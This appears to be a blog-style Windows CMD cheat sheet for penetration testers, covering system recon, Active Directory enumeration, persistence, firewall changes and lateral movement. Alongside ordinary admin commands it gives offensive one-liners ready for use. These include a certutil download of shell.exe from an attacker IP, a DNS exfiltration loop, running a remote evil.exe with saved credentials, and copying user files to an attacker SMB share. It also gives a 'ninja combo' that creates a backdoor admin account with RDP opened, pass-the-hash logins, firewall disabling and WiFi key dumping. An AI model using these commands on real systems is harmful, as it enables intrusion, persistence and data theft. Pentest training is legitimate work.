# 100+ Windows CMD Commands

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***

When it comes to **penetration testing and ethical hacking**, Windows Command Prompt (**CMD**) is still one of the most underrated yet **powerful hacking tools**. While PowerShell gets most of the attention, CMD remains a goldmine for **red teamers, pentesters, and hackers** who want quick, stealthy, and effective results.

In this ultimate guide, I’ll walk you through **all the essential CMD commands you need to master** — from **system reconnaissance** to **domain enumeration, privilege escalation, persistence, and lateral movement**.

This is your **one-stop Windows CMD cheat sheet for hackers**. Bookmark it, practice it, and use it in your next red team engagement.

***

#### 🖥️ System Information (Recon)

Gathering system details is the **first step** in any pentest or exploit chain.

```
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%   #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"         #Get only OS info
wmic computersystem LIST full                                #PC info
wmic qfe get Caption,Description,HotFixID,InstalledOn        #Patches
wmic qfe list brief                                          #Updates
hostname                                                     #Get hostname
DRIVERQUERY                                                  #Drivers (potentially vulnerable)
```

***

#### 🌍 Environment Variables

Environment variables can leak **usernames, domains, and controllers** useful for exploitation.

```
set   #List all environment variables
```

Important ones:

* `COMPUTERNAME` → Computer name
* `USERNAME` → Current user
* `USERDOMAIN` / `USERDNSDOMAIN` → Domain info
* `LOGONSERVER` → Domain controller
* `HOMEPATH` / `USERPROFILE` → Home directory

```
nslookup %LOGONSERVER%.%USERDNSDOMAIN%
```

***

#### 💾 Mounted Disks

```
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
```

***

#### 🛡️ Windows Defender & Recycle Bin

```
dir C:\$Recycle.Bin /s /b
```

***

#### ⚙️ Processes, Services & Installed Software

```
schtasks /query /fo LIST /v
tasklist /V
tasklist /SVC
net start
wmic service list brief
sc query
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
```

***

#### 🏢 Active Directory & Domain Enumeration

#### Domain Info

```
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers
```

#### Users

```
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.

#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges

# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user

# Other users looged
qwinsta #Anyone else logged in?

#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
```

#### Groups

```
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group

#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators

#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
```

#### Computers & Trusts

```
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
# Trust relations
nltest /domain_trusts #Mapping of the trust relationships

# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
```

***

#### 📜 Logs & Event Queries

```
wevtutil qe security /rd:true /f:text
```

***

#### 👤 Users & Groups

```
whoami /all
net users
net user %username%
net accounts
qwinsta   #See who’s logged in
```

Persistence tricks:

```
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD

# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName  /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
```

***

#### 🌐 Networking & Firewall

```
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
```

Firewall rules:

```
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles

NetSh Advfirewall set allprofiles state off  #Turn Off
NetSh Advfirewall set allprofiles state on  #Trun On
netsh firewall set opmode disable #Turn Off

#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"

#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed

#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"

#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable

#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable

::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
```

Enable Remote Desktop:

```
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

***

#### 📡 Shares & WiFi

```
net view
net share
net use x: \\computer\share
netsh wlan show profile
netsh wlan show profile <SSID> key=clear
```

***

#### 📥 File Download via LOLBAS

```
bitsadmin /create 1
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
```

***

#### 🔐 Credentials & Passwords

```
cmdkey /list
vaultcmd /listcreds:"Windows Credentials" /all
rundll32 keymgr.dll, KRShowKeyMgr
```

***

#### 🧨 Misc Exploitation Tricks

* **Hide files:**

```
attrib +h file
```

* **Alternate Data Streams (ADS):**

```
dir /r more file.txt:ads.txt
```

* **Obfuscation:**

```
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
```

* **Manual DNS exfil:**

```
for /f %a in ('whoami') do nslookup %a <IP>
```

General commands:

```
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file

#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden

#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision

#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win

#exe2bat to transform exe file in bat file

#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)

# Get error messages from code
net helpmsg 32 #32 is the code in that case
```

***

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